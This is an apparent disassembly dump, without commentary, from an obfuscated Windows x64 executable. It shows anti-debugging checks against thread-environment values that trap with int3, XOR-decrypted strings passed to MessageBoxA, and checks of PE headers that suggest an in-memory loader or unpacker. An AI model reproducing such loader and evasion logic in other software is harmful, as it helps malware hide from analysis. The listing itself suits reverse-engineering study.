mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b5d8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b5d8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b5f8
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b6a2
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b682
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b682
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b6a2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
xor edx, edx
lea rcx, [rbp + 0x11e0]
call fcn.140038ee4
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b76d
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x13728509
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b74d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b74d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b76d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b817
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b7f7
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b7f7
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b817
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x68], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf88], r14
mov r8d, r14d
mov rdi, r14
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x68]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf88], cl
inc rdi
cmp r8d, 8
jb 0x14002b844
mov esi, r14d
movabs r11, 0x8080808080808081
test r15, r15
je 0x14002b966
mov rcx, r14
mov rax, r11
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, rbx
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xf88]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
xor r11d, r11d
lea rbx, [rbp + 0xf88]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf88]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x14002b8d5
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r15
jb 0x14002b8b7
mov rbx, qword [rbp - 0x20]
xor r14d, r14d
mov r13d, 0x8d664a41
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002ba10
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b9f0
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b9f0
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ba10
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
mov esi, 0x13728509
mov r15d, 0x4948ce87
cmp rax, r12
jne 0x14002bad3
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bab3
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bab3
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bad3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002bb7d
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bb5d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bb5d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bb7d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
mov ecx, 0x5a4d
cmp word [rbx], cx
je 0x14002bf69
cmp rax, r12
jne 0x14002bc3f
mov rax, qword gs:[8]
movabs rcx, 0x6d643a356b9160c0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bc1f
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bc1f
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bc3f
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfeb0]
movdqu xmmword [rbp + 0x2c8], xmm0
mov word [rbp + 0x2d8], Ordinal_200
mov r10, r14
movabs rbx, 0x1092e4721
movabs r8, 0x119c12b931
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2338257262
movabs r12, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x1092e4720
shr rdi, cl
mov rax, r12
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x2c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002bc89
mov byte [rbp + 0x2d9], r14b
movdqa xmm0, xmmword [0x1400dfd90]
movdqu xmmword [rbp + 0xc60], xmm0
movdqa xmm1, xmmword [0x1400dfe50]
movdqu xmmword [rbp + 0xc70], xmm1
movdqa xmm0, xmmword [0x1400e0080]
movdqu xmmword [rbp + 0xc80], xmm0
mov dword [rbp + 0xc90], 0x65fda6b8
mov dword [rbp + 0xc94], 0xfb16300a
mov dword [rbp + 0xc98], 0x6df3fdf3
mov word [rbp + 0xc9c], WSASetLastError
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x3f3006f2dd
movabs r11, 0x7e600de5ba
mov r12d, 0x563979c8
movabs r13, 0x8080808080808081
mov cl, r9b
and cl, 7
shl cl, 3
movabs rdi, 0x1092e4720
shr rdi, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc60], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002bd78
mov byte [rbp + 0xc9d], r14b
xor r9d, r9d
lea r8, [rbp + 0x2c8]
lea rdx, [rbp + 0xc60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0x58]
cmp rcx, r12
mov r13d, 0x8d664a41
jne 0x14002bebb
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002be9b
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002be9b
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bebb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x1400379b3
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bf49
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bf49
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400379b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
cmp rax, r12
jne 0x14002c00a
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bfea
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bfea
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c00a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movsxd r13, dword [rbx + 0x3c]
add r13, rbx
mov qword [rbp + 0xf88], r13
mov rax, qword gs:[0x58]
movabs rbx, 0x6d643a356b9160c0
cmp rax, r12
jne 0x14002c0cc
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c0ac
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c0ac
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c0cc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x14002c4a8
cmp rax, r12
jne 0x14002c186
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c166
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c166
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c186
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfeb0]
movdqu xmmword [rbp + 0x2e0], xmm0
mov word [rbp + 0x2f0], Ordinal_200
mov r10, r14
movabs rbx, 0x1092e4721
movabs r8, 0x119c12b931
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2338257262
movabs r13, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x1092e4720
shr rdi, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x2e0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002c1d0
mov byte [rbp + 0x2f1], r14b
movdqa xmm0, xmmword [0x1400dfd90]
movdqu xmmword [rbp + 0xca0], xmm0
movdqa xmm1, xmmword [0x1400dfe40]
movdqu xmmword [rbp + 0xcb0], xmm1
movdqa xmm0, xmmword [0x1400e0080]
movdqu xmmword [rbp + 0xcc0], xmm0
mov dword [rbp + 0xcd0], 0x65fda6b8
mov dword [rbp + 0xcd4], 0xfb16300a
mov dword [rbp + 0xcd8], 0x6df3fdf3
mov word [rbp + 0xcdc], WSASetLastError
mov r9, r14
movabs r8, 0x3f3006f2dd
mov r10d, 0x3d
movabs r11, 0x7e600de5ba
movabs r12, 0x1092e4720
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xca0], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002c2b9
mov byte [rbp + 0xcdd], r14b
xor r9d, r9d
lea r8, [rbp + 0x2e0]
lea rdx, [rbp + 0xca0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x58]
mov r12d, 0x563979c8
cmp rax, r12
jne 0x14002c3f5
mov rcx, qword gs:[8]
xor edx, edx
mov eax, r12d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c3d5
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c3d5
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c3f5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x1400379b3
mov rax, qword gs:[8]
mov esi, 0x8d664a41
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c488
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c488
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400379b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
cmp rax, r12
jne 0x14002c558
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c538
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c538
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c558
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1088], xmm0
mov qword [rbp + 0x1098], rax
movdqa xmm1, xmmword [0x1400dffa0]
movdqu xmmword [rbp + 0x980], xmm1
mov dword [rbp + 0x990], 0xa22c0681
mov dword [rbp + 0x994], 0xf26cea45
mov dword [rbp + 0x998], 0xff14a14c
mov word [rbp + 0x99c], 0xfa68
mov byte [rbp + 0x99e], al
mov r8, r14
movabs rsi, 0x1092e4720
movabs r9, 0x1f136c55de
lea r10d, [rax + 0x1e]
movabs r12, 0x1092e4721
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x980], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x3e26d8abbc
cmp r9, rax
jb 0x14002c5cd
mov byte [rbp + 0x99e], r14b
lea rax, [rbp + 0x980]
mov qword [rbp + 0x228], rax
movdqa xmm0, xmmword [0x1400dfe00]
movdqu xmmword [rbp + 0xa40], xmm0
movdqa xmm1, xmmword [0x1400dfd30]
movdqu xmmword [rbp + 0xa50], xmm1
mov r8, r14
movabs r9, 0x201c9a9cff
mov r10d, Ordinal_33
movabs r15, 0x40393539fe
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xa40]
xor dil, r8b
mov byte [rbp + r8 + 0xa40], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, r15
jb 0x14002c686
mov byte [rbp + 0xa5f], r14b
lea rax, [rbp + 0xa40]
mov qword [rbp + 0x230], rax
lea rax, [rbp + 0x228]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x238]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1088]
call fcn.1400379c0
mov rax, qword gs:[0x58]
mov esi, 0x563979c8
mov r15d, 0x8d664a41
cmp rax, rsi
jne 0x14002c7f8
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c7d8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c7d8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c7f8
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
mov edi, 0x13728509
cmp rax, rsi
jne 0x14002c8b7
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c897
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c897
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c8b7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
xor ecx, ecx
call fcn.1400a2414
mov rcx, rax
call fcn.14009dcf4
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002c970
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c950
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c950
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c970
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002ca1a
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c9fa
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c9fa
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ca1a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002cac4
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002caa4
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002caa4
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cac4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002cb6e
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cb4e
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cb4e
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cb6e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002cc18
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cbf8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cbf8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cc18
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002ccd3
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ccb3
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ccb3
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ccd3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
call fcn.140096d20
or dword [rbp + 0x1fb54], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1e7d0]
call fcn.140038fc8
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002cd9d
mov rax, qword gs:[8]
